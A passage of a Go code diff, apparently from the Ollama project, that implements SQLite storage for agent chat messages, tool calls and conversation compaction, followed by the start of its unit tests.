if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if msg.Role == "user" && strings.TrimSpace(msg.Content) != "" {
|
||||
if err := maybeSetAgentTitle(ctx, tx, chatID, msg.Content); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (s *Store) UpdateLastAgentMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
var messageID int64
|
||||
if err := tx.QueryRowContext(ctx, `SELECT COALESCE(MAX(id), 0) FROM messages WHERE chat_id = ? AND archived = 0`, chatID).Scan(&messageID); err != nil {
|
||||
return fmt.Errorf("get last message id: %w", err)
|
||||
}
|
||||
if messageID == 0 {
|
||||
return fmt.Errorf("no message found to update")
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
modelName := sql.NullString{}
|
||||
if model != "" {
|
||||
modelName = sql.NullString{String: model, Valid: true}
|
||||
}
|
||||
|
||||
imagesJSON, err := marshalAgentMessageImages(msg.Images)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = tx.ExecContext(ctx, `
|
||||
UPDATE messages
|
||||
SET role = ?, content = ?, thinking = ?, images = ?, tool_name = ?, tool_call_id = ?, model_name = ?, updated_at = ?
|
||||
WHERE id = ?
|
||||
`, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, messageID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("update last message: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `DELETE FROM tool_calls WHERE message_id = ?`, messageID); err != nil {
|
||||
return fmt.Errorf("delete old tool calls: %w", err)
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (s *Store) AgentChat(ctx context.Context, id string) (*AgentChat, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var chat AgentChat
|
||||
var chatModel string
|
||||
if err := s.db.conn.QueryRowContext(ctx, `
|
||||
SELECT id, title, model_name, created_at FROM chats WHERE id = ?
|
||||
`, id).Scan(&chat.ID, &chat.Title, &chatModel, &chat.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(chatModel) != "" {
|
||||
chat.Model = chatModel
|
||||
} else {
|
||||
model, err := latestAgentModelForChat(ctx, s.db.conn, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
chat.Model = model
|
||||
}
|
||||
|
||||
rows, err := s.db.conn.QueryContext(ctx, `
|
||||
SELECT id, role, content, thinking, images, tool_name, tool_call_id FROM messages WHERE chat_id = ? AND archived = 0 ORDER BY id ASC
|
||||
`, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var messageID int64
|
||||
var msg api.Message
|
||||
var imagesJSON string
|
||||
if err := rows.Scan(&messageID, &msg.Role, &msg.Content, &msg.Thinking, &imagesJSON, &msg.ToolName, &msg.ToolCallID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
images, err := unmarshalAgentMessageImages(imagesJSON)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg.Images = images
|
||||
toolCalls, err := getAgentToolCalls(ctx, s.db.conn, messageID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg.ToolCalls = toolCalls
|
||||
chat.Messages = append(chat.Messages, msg)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
summary, err := latestCompactionSummary(ctx, s.db.conn, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if summary != "" && !messagesContainCompactionSummary(chat.Messages) {
|
||||
chat.Messages = insertCompactionSummaryAfterLeadingSystemMessages(chat.Messages, agent.CompactionSummaryMessages(summary, false))
|
||||
} else {
|
||||
chat.Messages = moveCompactionSummaryBeforeKeptMessages(chat.Messages)
|
||||
}
|
||||
chat.Messages = repairDanglingToolCalls(chat.Messages)
|
||||
|
||||
return &chat, nil
|
||||
}
|
||||
|
||||
func (s *Store) LatestChat(ctx context.Context) (*AgentChat, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var chatID string
|
||||
query := fmt.Sprintf(`
|
||||
SELECT c.id
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
HAVING %[1]s IS NOT NULL
|
||||
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
|
||||
LIMIT 1
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
if err := s.db.conn.QueryRowContext(ctx, query).Scan(&chatID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return s.AgentChat(ctx, chatID)
|
||||
}
|
||||
|
||||
func (s *Store) LatestChatForModel(ctx context.Context, model string) (*AgentChat, error) {
|
||||
if strings.TrimSpace(model) == "" {
|
||||
return nil, fmt.Errorf("model is required")
|
||||
}
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var chatID string
|
||||
query := fmt.Sprintf(`
|
||||
SELECT c.id
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
HAVING %[1]s = ?
|
||||
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
|
||||
LIMIT 1
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
if err := s.db.conn.QueryRowContext(ctx, query, model).Scan(&chatID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return s.AgentChat(ctx, chatID)
|
||||
}
|
||||
|
||||
func (s *Store) ListChats(ctx context.Context, limit int) ([]ChatSummary, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
query := fmt.Sprintf(`
|
||||
SELECT
|
||||
c.id,
|
||||
c.title,
|
||||
c.created_at,
|
||||
MAX(m.updated_at) AS updated_at,
|
||||
COUNT(m.id) AS message_count,
|
||||
COALESCE(SUM(
|
||||
LENGTH(m.role) +
|
||||
LENGTH(m.content) +
|
||||
LENGTH(m.thinking) +
|
||||
LENGTH(m.tool_name) +
|
||||
LENGTH(m.tool_call_id)
|
||||
), 0) AS approx_bytes,
|
||||
%[1]s AS current_model
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
ORDER BY updated_at DESC, MAX(m.id) DESC
|
||||
LIMIT ?
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
rows, err := s.db.conn.QueryContext(ctx, query, limit)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list chats: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var summaries []ChatSummary
|
||||
for rows.Next() {
|
||||
var summary ChatSummary
|
||||
var updatedAt string
|
||||
var modelName sql.NullString
|
||||
if err := rows.Scan(&summary.ID, &summary.Title, &summary.CreatedAt, &updatedAt, &summary.MessageCount, &summary.ApproxBytes, &modelName); err != nil {
|
||||
return nil, fmt.Errorf("scan chat summary: %w", err)
|
||||
}
|
||||
if modelName.Valid {
|
||||
summary.Model = modelName.String
|
||||
}
|
||||
summary.UpdatedAt, err = parseAgentSQLiteTime(updatedAt)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse chat updated_at: %w", err)
|
||||
}
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("read chat summaries: %w", err)
|
||||
}
|
||||
|
||||
return summaries, nil
|
||||
}
|
||||
|
||||
func (s *Store) ListUserMessages(ctx context.Context, limit int) ([]string, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
rows, err := s.db.conn.QueryContext(ctx, `
|
||||
SELECT content
|
||||
FROM (
|
||||
SELECT id, content
|
||||
FROM messages
|
||||
WHERE role = 'user'
|
||||
AND archived = 0
|
||||
AND TRIM(content) != ''
|
||||
AND content NOT LIKE ?
|
||||
ORDER BY id DESC
|
||||
LIMIT ?
|
||||
)
|
||||
ORDER BY id ASC
|
||||
`, agent.CompactionSummaryMessagePrefix+"%", limit)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list user messages: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var messages []string
|
||||
for rows.Next() {
|
||||
var content string
|
||||
if err := rows.Scan(&content); err != nil {
|
||||
return nil, fmt.Errorf("scan user message: %w", err)
|
||||
}
|
||||
messages = append(messages, content)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("read user messages: %w", err)
|
||||
}
|
||||
return messages, nil
|
||||
}
|
||||
|
||||
func (s *Store) ArchiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
return s.archiveForCompaction(ctx, chatID, keepUserTurns, summary, continueTask)
|
||||
}
|
||||
|
||||
func (s *Store) archiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
if chatID == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if keepUserTurns < 0 {
|
||||
return fmt.Errorf("keep user turns must be non-negative")
|
||||
}
|
||||
if strings.TrimSpace(summary) == "" {
|
||||
return fmt.Errorf("summary is required")
|
||||
}
|
||||
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
var keepStartID int64
|
||||
if keepUserTurns == 0 {
|
||||
if err := tx.QueryRowContext(ctx, `
|
||||
SELECT COALESCE(MAX(id) + 1, 0)
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0
|
||||
`, chatID).Scan(&keepStartID); err != nil {
|
||||
return fmt.Errorf("find compaction boundary: %w", err)
|
||||
}
|
||||
if keepStartID == 0 {
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
if err := tx.QueryRowContext(ctx, `
|
||||
SELECT id
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0 AND role = 'user'
|
||||
ORDER BY id DESC
|
||||
LIMIT 1 OFFSET ?
|
||||
`, chatID, keepUserTurns-1).Scan(&keepStartID); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("find compaction boundary: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := tx.QueryContext(ctx, `
|
||||
SELECT m.id
|
||||
FROM messages m
|
||||
WHERE m.chat_id = ? AND m.archived = 0 AND (
|
||||
m.id < ?
|
||||
OR m.tool_name = ?
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM tool_calls tc
|
||||
WHERE tc.message_id = m.id AND tc.function_name = ?
|
||||
)
|
||||
)
|
||||
ORDER BY id ASC
|
||||
`, chatID, keepStartID, agent.CompactionToolName, agent.CompactionToolName)
|
||||
if err != nil {
|
||||
return fmt.Errorf("list archived messages: %w", err)
|
||||
}
|
||||
var archivedIDs []int64
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
rows.Close()
|
||||
return fmt.Errorf("scan archived message id: %w", err)
|
||||
}
|
||||
archivedIDs = append(archivedIDs, id)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
rows.Close()
|
||||
return fmt.Errorf("read archived message ids: %w", err)
|
||||
}
|
||||
rows.Close()
|
||||
if len(archivedIDs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
idsJSON, err := json.Marshal(archivedIDs)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal archived message ids: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `
|
||||
INSERT INTO compactions (chat_id, summary, archived_message_ids, created_at)
|
||||
VALUES (?, ?, ?, ?)
|
||||
`, chatID, summary, string(idsJSON), time.Now()); err != nil {
|
||||
return fmt.Errorf("insert compaction: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `
|
||||
UPDATE messages
|
||||
SET archived = 1
|
||||
WHERE chat_id = ? AND archived = 0 AND (
|
||||
id < ?
|
||||
OR tool_name = ?
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM tool_calls
|
||||
WHERE tool_calls.message_id = messages.id AND tool_calls.function_name = ?
|
||||
)
|
||||
)
|
||||
`, chatID, keepStartID, agent.CompactionToolName, agent.CompactionToolName); err != nil {
|
||||
return fmt.Errorf("archive messages: %w", err)
|
||||
}
|
||||
|
||||
for _, msg := range agent.CompactionSummaryMessages(summary, continueTask) {
|
||||
messageID, err := insertAgentMessage(ctx, tx, chatID, msg, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func parseAgentSQLiteTime(value string) (time.Time, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return time.Time{}, nil
|
||||
}
|
||||
for _, layout := range []string{
|
||||
time.RFC3339Nano,
|
||||
"2006-01-02 15:04:05.999999999-07:00",
|
||||
"2006-01-02 15:04:05.999999999Z07:00",
|
||||
"2006-01-02 15:04:05.999999999",
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02 15:04:05Z07:00",
|
||||
"2006-01-02 15:04:05",
|
||||
} {
|
||||
t, err := time.Parse(layout, value)
|
||||
if err == nil {
|
||||
return t, nil
|
||||
}
|
||||
}
|
||||
return time.Time{}, fmt.Errorf("unsupported time format %q", value)
|
||||
}
|
||||
|
||||
func latestAgentModelForChat(ctx context.Context, db *sql.DB, chatID string) (string, error) {
|
||||
var modelName string
|
||||
if err := db.QueryRowContext(ctx, `
|
||||
SELECT model_name
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0 AND model_name IS NOT NULL AND model_name != ''
|
||||
ORDER BY updated_at DESC, id DESC
|
||||
LIMIT 1
|
||||
`, chatID).Scan(&modelName); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "", nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
return modelName, nil
|
||||
}
|
||||
|
||||
func currentAgentModelSelectExpr(chatAlias string) string {
|
||||
return fmt.Sprintf(`COALESCE(
|
||||
NULLIF(%[1]s.model_name, ''),
|
||||
(
|
||||
SELECT lm.model_name
|
||||
FROM messages lm
|
||||
WHERE lm.chat_id = %[1]s.id AND lm.archived = 0 AND lm.model_name IS NOT NULL AND lm.model_name != ''
|
||||
ORDER BY lm.updated_at DESC, lm.id DESC
|
||||
LIMIT 1
|
||||
)
|
||||
)`, chatAlias)
|
||||
}
|
||||
|
||||
func messagesContainCompactionSummary(messages []api.Message) bool {
|
||||
for _, msg := range messages {
|
||||
if agent.IsCompactionSummary(msg) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func moveCompactionSummaryBeforeKeptMessages(messages []api.Message) []api.Message {
|
||||
start := -1
|
||||
end := -1
|
||||
for i, msg := range messages {
|
||||
if agent.IsCompactionToolCall(msg) {
|
||||
start = i
|
||||
end = i + 1
|
||||
if end < len(messages) && agent.IsCompactionToolResult(messages[end]) {
|
||||
end++
|
||||
}
|
||||
}
|
||||
if start >= 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
if start <= 0 || end <= start {
|
||||
return messages
|
||||
}
|
||||
|
||||
insertAt := leadingSystemMessageCount(messages[:start])
|
||||
reordered := make([]api.Message, 0, len(messages))
|
||||
reordered = append(reordered, messages[:insertAt]...)
|
||||
reordered = append(reordered, messages[start:end]...)
|
||||
reordered = append(reordered, messages[insertAt:start]...)
|
||||
reordered = append(reordered, messages[end:]...)
|
||||
return reordered
|
||||
}
|
||||
|
||||
func insertCompactionSummaryAfterLeadingSystemMessages(messages, summary []api.Message) []api.Message {
|
||||
insertAt := leadingSystemMessageCount(messages)
|
||||
reordered := make([]api.Message, 0, len(messages)+len(summary))
|
||||
reordered = append(reordered, messages[:insertAt]...)
|
||||
reordered = append(reordered, summary...)
|
||||
reordered = append(reordered, messages[insertAt:]...)
|
||||
return reordered
|
||||
}
|
||||
|
||||
func leadingSystemMessageCount(messages []api.Message) int {
|
||||
for i, msg := range messages {
|
||||
if msg.Role != "system" {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return len(messages)
|
||||
}
|
||||
|
||||
type pendingToolCall struct {
|
||||
key string
|
||||
call api.ToolCall
|
||||
}
|
||||
|
||||
func repairDanglingToolCalls(messages []api.Message) []api.Message {
|
||||
var pending []pendingToolCall
|
||||
pendingByKey := map[string]struct{}{}
|
||||
repaired := make([]api.Message, 0, len(messages))
|
||||
|
||||
flushPending := func() {
|
||||
for _, pendingCall := range pending {
|
||||
if _, ok := pendingByKey[pendingCall.key]; !ok {
|
||||
continue
|
||||
}
|
||||
repaired = append(repaired, api.Message{
|
||||
Role: "tool",
|
||||
Content: "Tool execution interrupted before a result was recorded.",
|
||||
ToolName: pendingCall.call.Function.Name,
|
||||
ToolCallID: pendingCall.call.ID,
|
||||
})
|
||||
}
|
||||
pending = nil
|
||||
pendingByKey = map[string]struct{}{}
|
||||
}
|
||||
|
||||
for _, msg := range messages {
|
||||
if len(pendingByKey) > 0 && msg.Role != "tool" {
|
||||
flushPending()
|
||||
}
|
||||
|
||||
repaired = append(repaired, msg)
|
||||
|
||||
switch msg.Role {
|
||||
case "assistant":
|
||||
for _, call := range msg.ToolCalls {
|
||||
key := agentToolCallKey(call, len(pending))
|
||||
pending = append(pending, pendingToolCall{key: key, call: call})
|
||||
pendingByKey[key] = struct{}{}
|
||||
}
|
||||
case "tool":
|
||||
if key := msg.ToolCallID; key != "" {
|
||||
delete(pendingByKey, key)
|
||||
} else if msg.ToolName != "" {
|
||||
for _, pendingCall := range pending {
|
||||
if pendingCall.call.ID == "" && pendingCall.call.Function.Name == msg.ToolName {
|
||||
delete(pendingByKey, pendingCall.key)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(pendingByKey) == 0 {
|
||||
pending = nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(pendingByKey) > 0 {
|
||||
flushPending()
|
||||
}
|
||||
|
||||
return repaired
|
||||
}
|
||||
|
||||
func agentToolCallKey(call api.ToolCall, index int) string {
|
||||
if call.ID != "" {
|
||||
return call.ID
|
||||
}
|
||||
return fmt.Sprintf("#%d:%s", index, call.Function.Name)
|
||||
}
|
||||
|
||||
func insertAgentMessage(ctx context.Context, tx *sql.Tx, chatID string, msg api.Message, model string) (int64, error) {
|
||||
now := time.Now()
|
||||
modelName := sql.NullString{}
|
||||
if model != "" {
|
||||
modelName = sql.NullString{String: model, Valid: true}
|
||||
}
|
||||
imagesJSON, err := marshalAgentMessageImages(msg.Images)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
result, err := tx.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, thinking, images, tool_name, tool_call_id, model_name, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`, chatID, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, now)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("insert message: %w", err)
|
||||
}
|
||||
id, err := result.LastInsertId()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("get message id: %w", err)
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
func marshalAgentMessageImages(images []api.ImageData) (string, error) {
|
||||
if len(images) == 0 {
|
||||
return "[]", nil
|
||||
}
|
||||
data, err := json.Marshal(images)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal message images: %w", err)
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func unmarshalAgentMessageImages(value string) ([]api.ImageData, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" || value == "null" {
|
||||
return nil, nil
|
||||
}
|
||||
var images []api.ImageData
|
||||
if err := json.Unmarshal([]byte(value), &images); err != nil {
|
||||
return nil, fmt.Errorf("unmarshal message images: %w", err)
|
||||
}
|
||||
return images, nil
|
||||
}
|
||||
|
||||
func insertAgentToolCall(ctx context.Context, tx *sql.Tx, messageID int64, call api.ToolCall) error {
|
||||
args, err := json.Marshal(call.Function.Arguments)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal tool arguments: %w", err)
|
||||
}
|
||||
_, err = tx.ExecContext(ctx, `
|
||||
INSERT INTO tool_calls (message_id, type, tool_call_id, function_name, function_arguments)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
`, messageID, "function", call.ID, call.Function.Name, string(args))
|
||||
if err != nil {
|
||||
return fmt.Errorf("insert tool call: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getAgentToolCalls(ctx context.Context, db *sql.DB, messageID int64) ([]api.ToolCall, error) {
|
||||
rows, err := db.QueryContext(ctx, `
|
||||
SELECT tool_call_id, function_name, function_arguments FROM tool_calls WHERE message_id = ? ORDER BY id ASC
|
||||
`, messageID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var calls []api.ToolCall
|
||||
for rows.Next() {
|
||||
var id, name, argsJSON string
|
||||
if err := rows.Scan(&id, &name, &argsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var args api.ToolCallFunctionArguments
|
||||
if err := json.Unmarshal([]byte(argsJSON), &args); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
calls = append(calls, api.ToolCall{
|
||||
ID: id,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: name,
|
||||
Arguments: args,
|
||||
},
|
||||
})
|
||||
}
|
||||
return calls, rows.Err()
|
||||
}
|
||||
|
||||
func latestCompactionSummary(ctx context.Context, db *sql.DB, chatID string) (string, error) {
|
||||
var summary string
|
||||
if err := db.QueryRowContext(ctx, `
|
||||
SELECT summary
|
||||
FROM compactions
|
||||
WHERE chat_id = ?
|
||||
ORDER BY id DESC
|
||||
LIMIT 1
|
||||
`, chatID).Scan(&summary); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "", nil
|
||||
}
|
||||
return "", fmt.Errorf("get latest compaction summary: %w", err)
|
||||
}
|
||||
return summary, nil
|
||||
}
|
||||
|
||||
func maybeSetAgentTitle(ctx context.Context, tx *sql.Tx, chatID string, content string) error {
|
||||
title := strings.TrimSpace(content)
|
||||
if len([]rune(title)) > 64 {
|
||||
title = string([]rune(title)[:64])
|
||||
}
|
||||
_, err := tx.ExecContext(ctx, `
|
||||
UPDATE chats
|
||||
SET title = CASE WHEN title = '' THEN ? ELSE title END
|
||||
WHERE id = ?
|
||||
`, title, chatID)
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,466 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func newTestAgentStore(t *testing.T) *Store {
|
||||
t.Helper()
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if err := store.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
return store
|
||||
}
|
||||
|
||||
func TestAgentStoreWritesSharedChatRows(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.EnsureChat(ctx, "chat-1", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello from cli"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "pwd")
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "assistant",
|
||||
Content: "I'll check.",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "tool",
|
||||
Content: "cwd",
|
||||
ToolName: "bash",
|
||||
ToolCallID: "call-1",
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 3 {
|
||||
t.Fatalf("messages = %d, want 3", len(agentChat.Messages))
|
||||
}
|
||||
if agentChat.Title != "hello from cli" {
|
||||
t.Fatalf("title = %q, want %q", agentChat.Title, "hello from cli")
|
||||
}
|
||||
if got := agentChat.Messages[1].ToolCalls[0].Function.Name; got != "bash" {
|
||||
t.Fatalf("tool name = %q, want bash", got)
|
||||
}
|
||||
if got := agentChat.Messages[1].ToolCalls[0].ID; got != "call-1" {
|
||||
t.Fatalf("tool call id = %q, want call-1", got)
|
||||
}
|
||||
if agentChat.Messages[2].Role != "tool" || agentChat.Messages[2].ToolCallID != "call-1" {
|
||||
t.Fatalf("tool result = %#v", agentChat.Messages[2])
|
||||
}
|
||||
|
||||
var source string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `SELECT source FROM chats WHERE id = ?`, "chat-1").Scan(&source); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if source != "agent" {
|
||||
t.Fatalf("source = %q, want agent", source)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRepairsDanglingToolCallsOnResume(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "pwd")
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "start"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "after restart"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 4 {
|
||||
t.Fatalf("messages = %#v, want synthetic tool result inserted", agentChat.Messages)
|
||||
}
|
||||
repair := agentChat.Messages[2]
|
||||
if repair.Role != "tool" || repair.ToolName != "bash" || repair.ToolCallID != "call-1" || !strings.Contains(repair.Content, "interrupted") {
|
||||
t.Fatalf("repair message = %#v", repair)
|
||||
}
|
||||
if agentChat.Messages[3].Role != "user" || agentChat.Messages[3].Content != "after restart" {
|
||||
t.Fatalf("message after repair = %#v", agentChat.Messages[3])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRoundTripsToolMetadataAndImages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
first := api.ImageData([]byte("first image"))
|
||||
second := api.ImageData([]byte{0, 1, 2, 3})
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "tool",
|
||||
Content: "tool output",
|
||||
Images: []api.ImageData{first, second},
|
||||
ToolName: "bash",
|
||||
ToolCallID: "call-1",
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
